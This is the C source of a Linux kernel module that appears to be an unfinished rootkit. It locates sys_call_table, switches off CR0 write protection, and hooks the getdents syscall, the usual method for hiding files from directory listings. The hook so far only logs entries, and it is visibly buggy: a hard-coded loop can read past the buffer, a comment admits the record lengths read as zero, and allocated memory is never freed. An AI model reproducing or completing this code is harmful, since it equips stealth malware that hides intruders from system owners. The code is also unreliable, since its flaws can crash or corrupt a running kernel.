read.c

#include <linux/init.h>
#include <linux/module.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/slab.h>
#include <linux/kern_levels.h>
#include <linux/gfp.h>
#include <asm/unistd.h>
#include <asm/paravirt.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");

struct linux_dirent {
    unsigned long   d_ino;
    unsigned long   d_off;
    unsigned short  d_reclen;
    char        d_name[];
};

#define GETDENTS_SYSCALL_NUM    __NR_getdents



void **sc_table;


// function type for the getdents handler function
asmlinkage int ( *orig_getdents )(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count);

/*
* Following section is for memory protection enable/disable
*/

inline void mywrite_cr0(unsigned long cr0) {
  asm volatile("mov %0,%%cr0" : "+r"(cr0), "+m"(__force_order));
}

void enable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  set_bit(16, &cr0);
  mywrite_cr0(cr0);
}

void disable_write_protection(void) {
  unsigned long cr0 = read_cr0();
  clear_bit(16, &cr0);
  mywrite_cr0(cr0);
}

// our new getdents handler
asmlinkage int sys_getdents_new(unsigned int fd, struct linux_dirent __user *dirent, unsigned int count) {

    struct linux_dirent *retn, *dirp3;
//  unsigned long Records;
    int Records, RemainingBytes;
    unsigned short length;
    Records = (*orig_getdents)(fd, dirent, count);
    //printk(KERN_INFO "Inside sys_getdents_new : %d", Records);
    //printk(KERN_INFO "dirent lenght : %hu", dirent->d_reclen);

    if (Records <= 0){
        printk(KERN_INFO "Record is 0 or less");
        return Records;
        }

    // allocating retn (with the size of Record), in kernel memory
    retn = (struct linux_dirent *) kmalloc(Records, GFP_KERNEL);


    // coping the content of dirent --> (to) --> rent
    copy_from_user(retn, dirent, Records);


    printk(KERN_INFO "retn->d_reclen %hu", retn->d_reclen);
    printk(KERN_INFO "retn->d_name %s", retn->d_name);


    RemainingBytes = Records;
    int i=100;
    // As retn->d_reclen always yields 0, RemainingBytes remains the same causing infinite loop
//  while(RemainingBytes > 0){
    while(i > 0){

            RemainingBytes -= retn->d_reclen;
            printk(KERN_INFO "RemainingBytes %d   \t File: %s " ,  RemainingBytes , retn->d_name );

        retn = (struct linux_dirent *) ((char *)retn + retn->d_reclen);
        printk(KERN_INFO "Next decrease from RemainingBytes %d " ,  retn->d_reclen);
        i--;

    }

    // Copy the record back to the origional struct
    //copy_to_user(dirent, retn, Records);
    //kfree(retn);


    return Records;
}



static int __init kit_start(void)
{
    // get sys_call_address
    sc_table = (void **)kallsyms_lookup_name("sys_call_table");
    printk(KERN_INFO "System call table address: %p", sc_table);

    // record the original getdents handler
    orig_getdents = (void*)sc_table[GETDENTS_SYSCALL_NUM]; // __NR_getdents
    printk(KERN_INFO "original sys_getdents %p", orig_getdents);
    printk(KERN_INFO "original table getdents %p", sc_table[GETDENTS_SYSCALL_NUM]);

    disable_write_protection();
    // hooking our handler in place of sys_getdents
    sc_table[GETDENTS_SYSCALL_NUM]=&sys_getdents_new;
    enable_write_protection();


    return 0;
}


/*delete module rmmod*/
void __exit kit_exit(void)
{
    printk(KERN_INFO "Exiting");
    disable_write_protection();
    sc_table[GETDENTS_SYSCALL_NUM] = orig_getdents;
    enable_write_protection();

}

module_init(kit_start);
module_exit(kit_exit);